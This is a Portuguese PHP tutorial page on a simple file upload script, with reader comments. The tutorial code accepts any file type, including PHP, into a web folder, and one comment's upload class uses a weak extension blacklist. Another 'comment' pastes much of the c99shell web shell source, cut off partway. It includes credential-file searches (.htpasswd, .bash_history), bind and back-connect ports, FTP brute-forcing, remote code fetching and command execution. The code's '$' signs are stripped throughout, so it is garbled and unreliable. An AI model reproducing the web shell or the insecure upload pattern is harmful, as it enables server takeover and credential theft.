Conheça o Plugfeed | » Início » Programação » PHP » Upload Simples com PHP
Conheça o Plugfeed | » Início » Programação » PHP » Upload Simples com PHP -->
 
Avaliação: | Publicado em: 19/08/2007
Upload Simples com PHP
Humberto Rodrigues Técnico em Informática. Webmaster. Conhecimentos em Photoshop, Flash, Dreamweaver, Visual Basic, Delphi, Access, HTML, CSS, SQL e PHP.
Upload Simples com PHP

Hoje vamos, criar um sistema de upload, bem simples e funcional, segue abaixo o código com os devidos comentários.

<?php

if (isset($arquivo)) // Verificamos se a variável "arquivo" existe
{
$nome = rand(00,9999); // Aqui criamos um número randômico, para utilizarmos como nome do arquivo
$dir="up/"; //Esse é o diretório onde ficará os arquivos enviados, lembre-se de criá-lo. Este script não cria diretórios

if (is_uploaded_file($arquivo)) // Verificamos se existe algum arquivo na variável "Arquivo"
{ move_uploaded_file($arquivo,$dir.$nome.$arquivo_name); // Aqui, efetuamos o upload, propriamente dito
 echo "Enviado<br>"; // Caso dê tudo certo, imprimi na tela "enviado"
}else{
 echo "erro"; // Caso ocorra algum erro, imprimi na tela "erro"
}
}

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Upload de Imagens</title>
</head>
<link rel="stylesheet" href="estilo.css">
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<table width="375" border="0" cellpadding="0" cellspacing="0">
<tr>

 <td>

    <input type="file" name="arquivo"> </td>
</tr>
<tr>
 <td>
 <input type="submit" value="Enviar"> 
 </td>
</tr>
</table>
</form>
</body>
</html>


Este sistema de upload é realmente muito simples, mas cabe a você agora, pesquisar mais e descobrir formas mais avançadas de criar um sistema de upload.

Abraços

www.humbertorodrigues.com


Muito Bom seu tuto cara, show de bola, mas vc poderia ensinar também como se faz para dar uoload no nome de arquivo que foi gerado em texto para o anco de Dados, assim, ele poderia ser usado em outrasaplicações.
bom post, mas qto ao nome do arquivo eh melhor usar:
nome = md5(time());
assim as chances de repetir são praticamente impossiveis
Eu fiz uma classe de upload, por ter que enviar e fazer muitas validações, tá com umas expressões regulares meio "feia", mas não to com muita vontade de arrumar e tem outra coisa pra fazer, que não tive tempo, na parte de criar um diretório, caso existe mais subníveis, a classe não criará. Exemplo: /pasta1 (será criada)
agora /pasta1/pasta2 (não será criada)

de resto, fiquem a vontade para modificar e melhorar.
s

/
Classe que valida e salva um arquivo enviado pelo usuário

Método construtor
array arq = Array que trás o arquivo enviado pelo usuário
string dir = Diretório onde o arquivo é salvo (Padrão: "arquivo")
string val = Tipo de validação do arquivo ("default" e "imagem" - Padrão: "default")
int tam = Tamanho do arquivo passado em Kb (Kilobytes) (Padrão: 1024 Kb => 1 mb);

Exemplo => obj = new Upload(_FILES"arquivo","arquivo","default",500);

Método de envio => boolean obj->enviarArquivo();
Método que mostra os erros => string obj->erros();

/

class Upload {
var arquivo;
var nome = '';
var diretorio;
var tamanho;
var validacao;
var largura = 20;
var altura = 20;
var erro = array();

function Upload(arq = '',dir = 'arquivo',val = 'default',tam = 1024) {
this->arquivo = arq;
this->diretorio = dir;
this->validacao = val;
this->tamanho = (tam 1024);
}
function setDiretorio(dir) {
this->diretorio = dir;
}
function getDiretorio() {
return this->diretorio;
}
function setTamanho(tam) {
this->tamanho = (tam 1024);
}
function getTamanho() {
return this->tamanho;
}
function setArquivo(arq) {
this->arquivo = arq;
}
function getArquivo() {
return this->arquivo;
}
function setResolucao(x,y) {
this->largura = x;
this->altura = y;
}
function getLargura() {
return this->largura;
}
function getAltura() {
return this->altura;
}
function setValidacao(val) {
this->validacao = val;
}
function setNome(nom) {
this->nome = nom;
}
function getNome() {
return this->nome;
}
function arquivoExiste() {
if (this->arquivo) {
return (is_uploaded_file(this->arquivo"tmp_name") && !empty(this->arquivo"tmp_name")) ? true : false;
}
else {
return false;
}
}
function validarArquivo() {
if (this->arquivoExiste()) {
if (this->arquivo"size" > this->tamanho) {
this->erro = "O arquivo enviado é maior que o permitido pelo servidor.";
return false;
}
switch (this->validacao) {
case 'default':
if (!eregi("(phpaspcgibatphpsaspx)",this->arquivo"name")) {
return true;
}
else {
this->erro = "O arquivo enviado não é um arquivo aceito pelo servidor.";
return false;
}
break;
case 'imagem':
if (eregi("image/(gifx-pngpjpeg)",this->arquivo"type")) {
res = getimagesize(this->arquivo"tmp_name");
if (res0 > this->largura res1 > this->altura) {
this->erro = "A imagem enviada não pode superar os limites de ".this->largura." x ".this->altura.".";
return false;
}
return true;
}
else {
this->erro = "Imagem inválida, por favor, envie novamente.";
return false;
}
break;
case 'html':
if (eregi("text/html",this->arquivo"type")) {
return true;
}
else {
this->erro = "Arquivo HTML inválido, por favor, envie novamente.";
return false;
}
break;
default:
this->erro = "O tipo de validação "".this->validacao."" não existe.";
return false;
}
}
else {
this->erro = "O arquivo não existe.";
return false;
}
}
function enviarArquivo() {
if (this->validarArquivo()) {

set_time_limit(0);

if (!file_exists(this->diretorio)) {
if (!mkdir(this->diretorio)) {
this->erro = "Não foi possível criar o diretório de destino para o arquivo.";
return false;
}
}

if (!this->nome) {
this->nome = this->arquivo"name";
}
else {
extArq = explode(".",this->arquivo"name");
if (strpos(this->nome,'.') === false) {
this->nome .= ".".extArq1;
}
else {
extNom = explode(".",this->nome);
if (extNom1 != extArq1) {
this->nome = extNom0.".".extArq1;
}
}
}

while (file_exists(this->diretorio.this->nome)) {
this->nome = preg_replace("/(.?)(_?)(d)(..)?/e", "'1_'.(31).'4'",this->nome);
}

if (!move_uploaded_file(this->arquivo"tmp_name",this->diretorio."/".this->nome)) {
this->erro = "Não foi possível salvar o arquivo.";
return false;
}

return true;
}
else {
return false;
}
}
function erros() {
message = '';
foreach (this->erro as msg) {
message .= msg."<br />";
}
return message;
}
}
leonardo horta <leonardo_br2006@hotmail.com>
Olá gostei muito da matéria.. mas estou com uma dúvida quanto a segurança. como eu faço para limitar o tipo de arquivo, nao deixando por exemplo upar nenhum arquivo sem ser jpg, gif ou bmp por exemplo. Obrigado.. e parabéns mais uma vez
leonardo César <leonardo_zona@hotmail.com>
amigo, gostaria de saber para que diretorio ele vai no banco de dados, e como eu faço para exibir o arquivo que foi incluso, na pagina... desde já agradeço
Aproveite e divirta-se aqui http://muoc.sytes.net:8090/
Comunidade official: http://www.orkut.com/Community.aspx?cmm=48373125

muoceano news

ou entao digita no explore o nome do melhor mu q vc ja viu

muoceano.rg3.net


e so vc digitar no google ou no cade

obrigado bora jogar

desconhecido
bugado! : Não avaliado
E para fazer o upload sem alterar o nome do arquivo original ?
Opa... aleluia... enfim um que funcione de um milhão que testei... hauhauha parabens cara... obrigado pela ajuda... abraços
Triplo X <triplox@rg.com.br>
Parabéns, eu que tinha um script "faz tudo" que começou a falhar, complicado e tudo pra configurar, tiro o chapéu pra simplicidade de suas poucas linhas de código!

Att.
oi galera, eu usei o comando mostrado aqui em meu site, mas gostaria da ajuda de você para criar um banco de dados em php para armazenar arquivos apenas txt, favor quem puder ajudar, me manda um e-mail
Matheus
Cara esse artigo é de fu... !!!!
dasa <adasda>
<?php
/

c99shell.php v.1.0 pre-release build #13
Freeware license.
© CCTeaM.
Develoed by Pedram
/
//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list(usec, sec) = explode(" ", microtime()); return ((float)usec (float)sec);}}
error_reporting(5);
@ignore_user_abort(true);
@set_magic_quotes_runtime(0);
win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&arr,k="") {if (is_array(arr)) {foreach(arr as k=>v) {if (strtoupper(k) != "GLOBALS") {strips(arr"k");}}} else {arr = stripslashes(arr);}}} strips(GLOBALS);}
_REQUEST = array_merge(_COOKIE,_GET,_POST);
foreach(_REQUEST as k=>v) {if (!isset(k)) {k = v;}}

shver = "1.0 pre-release build #13"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty(unset_surl)) {setcookie("c99sh_surl"); surl = "";}
elseif (!empty(set_surl)) {surl = set_surl; setcookie("c99sh_surl",surl);}
else {surl = _REQUEST"c99sh_surl"; //Set this cookie for manual SURL
}

surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.

if (surl_autofill_include and !_REQUEST"c99sh_surl") {include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as v) {v = explode("=",v); name = urldecode(v0); value = urldecode(v1); foreach (array("http://","https://","ssl://","ftp://","") as needle) {if (strpos(value,needle) === 0) {includestr .= urlencode(name)."=".urlencode(value)."&";}}} if (_REQUEST"surl_autofill_include") {includestr .= "surl_autofill_include=1&";}}
if (empty(surl))
{
surl = "?action=logout&".includestr; //Self url
}
surl = htmlspecialchars(surl);

timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.

//Authentication
login = ""; //login
//DON'T FORGOT ABOUT PASSWORD!!!
pass = ""; //password
md5_pass = ""; //md5-cryped pass. if null, md5(pass)

host_allow = array(""); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.","127.0.0.1")
login_txt = "Restricted area"; //http-auth message.
accessdeniedmess = "<a href="http://ccteam.ru/releases/c99shell">c99shell v.".shver."</a>: access denied";

gzipencode = true; //Encode with gzip?

updatenow = false; //If true, update now (this variable will be false)

c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server

filestealth = true; //if true, don't change modify- and access-time

donated_html = "<center><b>Owned by hacker</b></center>";
/ If you publish free shell and you wish
add link to your site or any other information,
put here your html. /
donated_act = array(""); //array ("act1","act2,"...), if act is in this array, display donated_html.

curdir = "./"; //start folder
//curdir = getenv("DOCUMENT_ROOT");
tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

log_email = "user@host.tld"; //Default e-mail for sending logs

sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
sort_save = true; //If true then save sorting-position using cookies.

// Registered file-types.
// array(
// "{action1}"=>array("ext1","ext2","ext3",...),
// "{action2}"=>array("ext4","ext5","ext6",...),
// ...
// )
ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar","mp3","wma","ace","pdf")
);

// Registered executable file-types.
// array(
// string "command{i}"=>array("ext1","ext2","ext3",...),
// ...
// )
// {command}: %f% = filename
exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);

/ Highlighted files.
array(
i=>array({regexp},{type},{opentag},{closetag},{break})
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "<b>" (default)
string {closetag} - close html-tag, e.g. "</b>" (default)
bool {break} - if true and found match then break
/
regxp_highlight = array(
array(basename(_SERVER"PHP_SELF"),1,"<font color="yellow">","</font>"), // example
array("config.php",1) // example
);

safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//safemode_diskettes = range("a","z");
hexdump_lines = 8; // lines in hex preview file
hexdump_rows = 24; // 16, 24 or 32 bytes in one line

nixpwdperpage = 100; // Get first N lines from /etc/passwd

bindport_pass = "c99"; // default password for binding
bindport_port = "31373"; // default port for binding
bc_port = "31373"; // default port for back-connect
datapipe_localport = "8081"; // default port for datapipe

// Command-aliases
if (!win)
{
cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config files", "find / -type f -name "config""),
array("find config files in current dir", "find . -type f -name "config""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an grep -i listen")
);
}
else
{
cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}

sess_cookie = "c99shvars"; // Cookie-variable name

usefsbuff = true; //Buffer-function
copy_unset = false; //Remove copied files from buffer after pasting

//Quick launch
quicklaunch = array(
array("<img src="".surl."act=img&img=home" alt="Home" height="20" width="20" border="0">",surl),
array("<img src="".surl."act=img&img=back" alt="Back" height="20" width="20" border="0">","#" onclick="history.back(1)"),
array("<img src="".surl."act=img&img=forward" alt="Forward" height="20" width="20" border="0">","#" onclick="history.go(1)"),
array("<img src="".surl."act=img&img=up" alt="UPDIR" height="20" width="20" border="0">",surl."act=ls&d=%upd&sort=%sort"),
array("<img src="".surl."act=img&img=refresh" alt="Refresh" height="20" width="17" border="0">",""),
array("<img src="".surl."act=img&img=search" alt="Search" height="20" width="20" border="0">",surl."act=search&d=%d"),
array("<img src="".surl."act=img&img=buffer" alt="Buffer" height="20" width="20" border="0">",surl."act=fsbuff&d=%d"),
array("<b>Encoder</b>",surl."act=encoder&d=%d"),
array("<b>Proc.</b>",surl."act=processes&d=%d"),
array("<b>FTP brute</b>",surl."act=ftpquickbrute&d=%d"),
array("<b>Sec.</b>",surl."act=security&d=%d"),
array("<b>SQL</b>",surl."act=sql&d=%d"),
array("<b>PHP-code</b>",surl."act=eval&d=%d"),
array("<b>Update</b>",surl."act=update&d=%d"),
array("<b>Feedback</b>",surl."act=feedback&d=%d"),
array("<b>Self remove</b>",surl."act=selfremove"),
array("<b>Logout</b>","#" onclick="if (confirm('Are you sure?')) window.close()")
);

//Highlight-code colors
highlight_background = "#c0c0c0";
highlight_bg = "#FFFFFF";
highlight_comment = "#6A6A6A";
highlight_default = "#0000BB";
highlight_html = "#1300FF";
highlight_keyword = "#007700";
highlight_string = "#000000";

@f = _REQUEST"f";
@extract(_REQUEST"c99shcook");

//END CONFIGURATION


// / Next code isn't for editing /
@set_time_limit(0);
tmp = array();
foreach(host_allow as k=>v) {tmp = str_replace("",".",preg_quote(v));}
s = "!(".implode("",tmp).")!i";
if (!preg_match(s,getenv("REMOTE_ADDR")) and !preg_match(s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href="http://ccteam.ru/releases/cc99shell">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty(login))
{
if (empty(md5_pass)) {md5_pass = md5(pass);}
if ((_SERVER"PHP_AUTH_USER" != login) or (md5(_SERVER"PHP_AUTH_PW") != md5_pass))
{
if (empty(login_txt)) {login_txt = strip_tags(ereg_replace("&nbsp;<br>"," ",donated_html));}
header("WWW-Authenticate: Basic realm="c99shell ".shver.": ".login_txt.""");
header("HTTP/1.0 401 Unauthorized");
exit(accessdeniedmess);
}
}
if (act != "img")
{
lastdir = realpath(".");
chdir(curdir);
if (selfwrite or updatenow) {@ob_clean(); c99sh_getupdate(selfwrite,1); exit;}
sess_data = unserialize(_COOKIE"sess_cookie");
if (!is_array(sess_data)) {sess_data = array();}
if (!is_array(sess_data"copy")) {sess_data"copy" = array();}
if (!is_array(sess_data"cut")) {sess_data"cut" = array();}

disablefunc = @ini_get("disable_functions");
if (!empty(disablefunc))
{
disablefunc = str_replace(" ","",disablefunc);
disablefunc = explode(",",disablefunc);
}

if (!function_exists("c99_buff_prepare"))
{
function c99_buff_prepare()
{
global sess_data;
global act;
foreach(sess_data"copy" as k=>v) {sess_data"copy"k = str_replace("",DIRECTORY_SEPARATOR,realpath(v));}
foreach(sess_data"cut" as k=>v) {sess_data"cut"k = str_replace("",DIRECTORY_SEPARATOR,realpath(v));}
sess_data"copy" = array_unique(sess_data"copy");
sess_data"cut" = array_unique(sess_data"cut");
sort(sess_data"copy");
sort(sess_data"cut");
if (act != "copy") {foreach(sess_data"cut" as k=>v) {if (sess_data"copy"k == v) {unset(sess_data"copy"k); }}}
else {foreach(sess_data"copy" as k=>v) {if (sess_data"cut"k == v) {unset(sess_data"cut"k);}}}
}
}
c99_buff_prepare();
if (!function_exists("c99_sess_put"))
{
function c99_sess_put(data)
{
global sess_cookie;
global sess_data;
c99_buff_prepare();
sess_data = data;
data = serialize(data);
setcookie(sess_cookie,data);
}
}
foreach (array("sort","sql_sort") as v)
{
if (!empty(_GETv)) {v = _GETv;}
if (!empty(_POSTv)) {v = _POSTv;}
}
if (sort_save)
{
if (!empty(sort)) {setcookie("sort",sort);}
if (!empty(sql_sort)) {setcookie("sql_sort",sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini(content,len)
{
if (strlen(content) > len)
{
len = ceil(len/2) - 2;
return substr(content, 0,len)."...".substr(content,-len);
}
else {return content;}
}
}
if (!function_exists("view_size"))
{
function view_size(size)
{
if (!is_numeric(size)) {return false;}
else
{
if (size >= 1073741824) {size = round(size/1073741824100)/100 ." GB";}
elseif (size >= 1048576) {size = round(size/1048576100)/100 ." MB";}
elseif (size >= 1024) {size = round(size/1024100)/100 ." KB";}
else {size = size . " B";}
return size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir(d,t)
{
d = str_replace("",DIRECTORY_SEPARATOR,d);
if (substr(d,-1) != DIRECTORY_SEPARATOR) {d .= DIRECTORY_SEPARATOR;}
h = opendir(d);
while ((o = readdir(h)) !== false)
{
if ((o != ".") and (o != ".."))
{
if (!is_dir(d.DIRECTORY_SEPARATOR.o)) {ret = copy(d.DIRECTORY_SEPARATOR.o,t.DIRECTORY_SEPARATOR.o);}
else {ret = mkdir(t.DIRECTORY_SEPARATOR.o); fs_copy_dir(d.DIRECTORY_SEPARATOR.o,t.DIRECTORY_SEPARATOR.o);}
if (!ret) {return ret;}
}
}
closedir(h);
return true;
}
}
if (!function_exists("fs_copy_obj"))
{

function fs_copy_obj(d,t)
{
d = str_replace("",DIRECTORY_SEPARATOR,d);
t = str_replace("",DIRECTORY_SEPARATOR,t);
if (!is_dir(dirname(t))) {mkdir(dirname(t));}
if (is_dir(d))
{
if (substr(d,-1) != DIRECTORY_SEPARATOR) {d .= DIRECTORY_SEPARATOR;}
if (substr(t,-1) != DIRECTORY_SEPARATOR) {t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir(d,t);
}
elseif (is_file(d)) {return copy(d,t);}
else {return false;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir(d,t)
{
h = opendir(d);
if (!is_dir(t)) {mkdir(t);}
while ((o = readdir(h)) !== false)
{
if ((o != ".") and (o != ".."))
{
ret = true;
if (!is_dir(d.DIRECTORY_SEPARATOR.o)) {ret = copy(d.DIRECTORY_SEPARATOR.o,t.DIRECTORY_SEPARATOR.o);}
else {if (mkdir(t.DIRECTORY_SEPARATOR.o) and fs_copy_dir(d.DIRECTORY_SEPARATOR.o,t.DIRECTORY_SEPARATOR.o)) {ret = false;}}
if (!ret) {return ret;}
}
}
closedir(h);
return true;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj(d,t)
{
d = str_replace("",DIRECTORY_SEPARATOR,d);
t = str_replace("",DIRECTORY_SEPARATOR,t);
if (is_dir(d))
{
if (substr(d,-1) != DIRECTORY_SEPARATOR) {d .= DIRECTORY_SEPARATOR;}
if (substr(t,-1) != DIRECTORY_SEPARATOR) {t .= DIRECTORY_SEPARATOR;}
return fs_move_dir(d,t);
}
elseif (is_file(d))
{
if(copy(d,t)) {return unlink(d);}
else {unlink(t); return false;}
}
else {return false;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir(d)
{
h = opendir(d);
while ((o = readdir(h)) !== false)
{
if ((o != ".") and (o != ".."))
{
if (!is_dir(d.o)) {unlink(d.o);}
else {fs_rmdir(d.o.DIRECTORY_SEPARATOR); rmdir(d.o);}
}
}
closedir(h);
rmdir(d);
return !is_dir(d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj(o)
{
o = str_replace("",DIRECTORY_SEPARATOR,o);
if (is_dir(o))
{
if (substr(o,-1) != DIRECTORY_SEPARATOR) {o .= DIRECTORY_SEPARATOR;}
return fs_rmdir(o);
}
elseif (is_file(o)) {return unlink(o);}
else {return false;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec(cmd)
{
global disablefunc;
result = "";
if (!empty(cmd))
{
if (is_callable("exec") and !in_array("exec",disablefunc)) {exec(cmd,result); result = join("n",result);}
elseif ((result = cmd) !== false) {}
elseif (is_callable("system") and !in_array("system",disablefunc)) {v = @ob_get_contents(); @ob_clean(); system(cmd); result = @ob_get_contents(); @ob_clean(); echo v;}
elseif (is_callable("passthru") and !in_array("passthru",disablefunc)) {v = @ob_get_contents(); @ob_clean(); passthru(cmd); result = @ob_get_contents(); @ob_clean(); echo v;}
elseif (is_resource(fp = popen(cmd,"r")))
{
result = "";
while(!feof(fp)) {result .= fread(fp,1024);}
pclose(fp);
}
}
return result;
}
}
if (!function_exists("tabsort")) {function tabsort(a,b) {global v; return strnatcmp(av, bv);}}
if (!function_exists("view_perms"))
{
function view_perms(mode)
{
if ((mode & 0xC000) === 0xC000) {type = "s";}
elseif ((mode & 0x4000) === 0x4000) {type = "d";}
elseif ((mode & 0xA000) === 0xA000) {type = "l";}
elseif ((mode & 0x8000) === 0x8000) {type = "-";}
elseif ((mode & 0x6000) === 0x6000) {type = "b";}
elseif ((mode & 0x2000) === 0x2000) {type = "c";}
elseif ((mode & 0x1000) === 0x1000) {type = "p";}
else {type = "?";}

owner"read" = (mode & 00400)?"r":"-";
owner"write" = (mode & 00200)?"w":"-";
owner"execute" = (mode & 00100)?"x":"-";
group"read" = (mode & 00040)?"r":"-";
group"write" = (mode & 00020)?"w":"-";
group"execute" = (mode & 00010)?"x":"-";
world"read" = (mode & 00004)?"r":"-";
world"write" = (mode & 00002)? "w":"-";
world"execute" = (mode & 00001)?"x":"-";

if (mode & 0x800) {owner"execute" = (owner"execute" == "x")?"s":"S";}
if (mode & 0x400) {group"execute" = (group"execute" == "x")?"s":"S";}
if (mode & 0x200) {world"execute" = (world"execute" == "x")?"t":"T";}

return type.join("",owner).join("",group).join("",world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",disablefunc)) {function posix_getpwuid(uid) {return false;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",disablefunc)) {function posix_getgrgid(gid) {return false;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",disablefunc)) {function posix_kill(gid) {return false;}}
if (!function_exists("parse_perms"))
{
function parse_perms(mode)
{
if ((mode & 0xC000) === 0xC000) {t = "s";}
elseif ((mode & 0x4000) === 0x4000) {t = "d";}
elseif ((mode & 0xA000) === 0xA000) {t = "l";}
elseif ((mode & 0x8000) === 0x8000) {t = "-";}
elseif ((mode & 0x6000) === 0x6000) {t = "b";}
elseif ((mode & 0x2000) === 0x2000) {t = "c";}
elseif ((mode & 0x1000) === 0x1000) {t = "p";}
else {t = "?";}
o"r" = (mode & 00400) > 0; o"w" = (mode & 00200) > 0; o"x" = (mode & 00100) > 0;
g"r" = (mode & 00040) > 0; g"w" = (mode & 00020) > 0; g"x" = (mode & 00010) > 0;
w"r" = (mode & 00004) > 0; w"w" = (mode & 00002) > 0; w"x" = (mode & 00001) > 0;
return array("t"=>t,"o"=>o,"g"=>g,"w"=>w);
}
}
if (!function_exists("parsesort"))
{
function parsesort(sort)
{
one = intval(sort);
second = substr(sort,-1);
if (second != "d") {second = "a";}
return array(one,second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color(o)
{
if (!is_readable(o)) {return "<font color=red>".view_perms(fileperms(o))."</font>";}
elseif (!is_writable(o)) {return "<font color=white>".view_perms(fileperms(o))."</font>";}
else {return "<font color=green>".view_perms(fileperms(o))."</font>";}
}
}
if (!function_exists("c99getsource"))
{
function c99getsource(fn)
{
global c99sh_sourcesurl;
array = array(
"c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
"c99sh_bindport.c" => "c99sh_bindport_c.txt",
"c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
"c99sh_backconn.c" => "c99sh_backconn_c.txt",
"c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
"c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
);
name = arrayfn;
if (name) {return file_get_contents(c99sh_sourcesurl.name);}
else {return false;}
}

}
if (!function_exists("mysql_dump"))
{
function mysql_dump(set)
{
global shver;
sock = set"sock";
db = set"db";
print = set"print";
nl2br = set"nl2br";
file = set"file";
add_drop = set"add_drop";
tabs = set"tabs";
onlytabs = set"onlytabs";
ret = array();
ret"err" = array();
if (!is_resource(sock)) {echo("Error: sock is not valid resource.");}
if (empty(db)) {db = "db";}
if (empty(print)) {print = 0;}
if (empty(nl2br)) {nl2br = 0;}
if (empty(add_drop)) {add_drop = true;}
if (empty(file))
{
file = tmpdir."dump_".getenv("SERVER_NAME")."_".db."_".date("d-m-Y-H-i-s").".sql";
}
if (!is_array(tabs)) {tabs = array();}
if (empty(add_drop)) {add_drop = true;}
if (sizeof(tabs) == 0)
{
// retrive tables-list
res = mysql_query("SHOW TABLES FROM ".db, sock);
if (mysql_num_rows(res) > 0) {while (row = mysql_fetch_row(res)) {tabs = row0;}}
}
out = "# Dumped by C99Shell.SQL v. ".shver."
# Home page: http://ccteam.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: "".db.""
#---------------------------------------------------------
";
c = count(onlytabs);
foreach(tabs as tab)
{
if ((in_array(tab,onlytabs)) or (!c))
{
if (add_drop) {out .= "DROP TABLE IF EXISTS ".tab.";n";}
// recieve query for create table structure
res = mysql_query("SHOW CREATE TABLE ".tab."", sock);
if (!res) {ret"err" = mysql_smarterror();}
else
{
row = mysql_fetch_row(res);
out .= row"1".";nn";
// recieve table variables
res = mysql_query("SELECT FROM tab", sock);
if (mysql_num_rows(res) > 0)
{
while (row = mysql_fetch_assoc(res))
{
keys = implode(", ", array_keys(row));
values = array_values(row);
foreach(values as k=>v) {valuesk = addslashes(v);}
values = implode("', '", values);
sql = "INSERT INTO tab(".keys.") VALUES ('".values."');n";
out .= sql;
}
}
}
}
}
out .= "#---------------------------------------------------------------------------------nn";
if (file)
{
fp = fopen(file, "w");
if (!fp) {ret"err" = 2;}
else
{
fwrite (fp, out);
fclose (fp);
}
}
if (print) {if (nl2br) {echo nl2br(out);} else {echo out;}}
return out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere(array,sep=" and",functs=array())
{
if (!is_array(array)) {array = array();}
result = "";
foreach(array as k=>v)
{
value = "";
if (!empty(functsk)) {value .= functsk."(";}
value .= "'".addslashes(v)."'";
if (!empty(functsk)) {value .= ")";}
result .= "".k." = ".value.sep;
}
result = substr(result,0,strlen(result)-strlen(sep));
return result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all(query,sock)
{
if (sock) {result = mysql_query(query,sock);}
else {result = mysql_query(query);}
array = array();
while (row = mysql_fetch_array(result)) {array = row;}
mysql_free_result(result);
return array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror(type,sock)
{
if (sock) {error = mysql_error(sock);}
else {error = mysql_error();}
error = htmlspecialchars(error);
return error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
global submit,sql_act,sql_query,sql_query_result,sql_confirm,sql_query_error,tbl_struct;
if ((submit) and (!sql_query_result) and (sql_confirm)) {if (!sql_query_error) {sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".sql_query_error."<br>";}
if (sql_query_result or (!sql_confirm)) {sql_act = sql_goto;}
if ((!submit) or (sql_act))
{
echo "<table border=0><tr><td><form name="c99sh_sqlquery" method=POST><b>"; if ((sql_query) and (!submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars(sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value="".htmlspecialchars(sql_tbl).""><input type=hidden name=submit value="1"><input type=hidden name="sql_goto" value="".htmlspecialchars(sql_goto).""><input type=submit name=sql_confirm value="Yes">&nbsp;<input type=submit value="No"></form></td>";
if (tbl_struct)
{
echo "<td valign="top"><b>Fields:</b><br>";
foreach (tbl_struct as field) {name = field"Field"; echo "» <a href="#" onclick="document.c99sh_sqlquery.sql_query.value='".name."';"><b>".name."</b></a><br>";}
echo "</td></tr></table>";
}
}
if (sql_query_result or (!sql_confirm)) {sql_query = sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db(db,sock="")
{
sql = "CREATE DATABASE ".addslashes(db).";";
if (sock) {return mysql_query(sql,sock);}
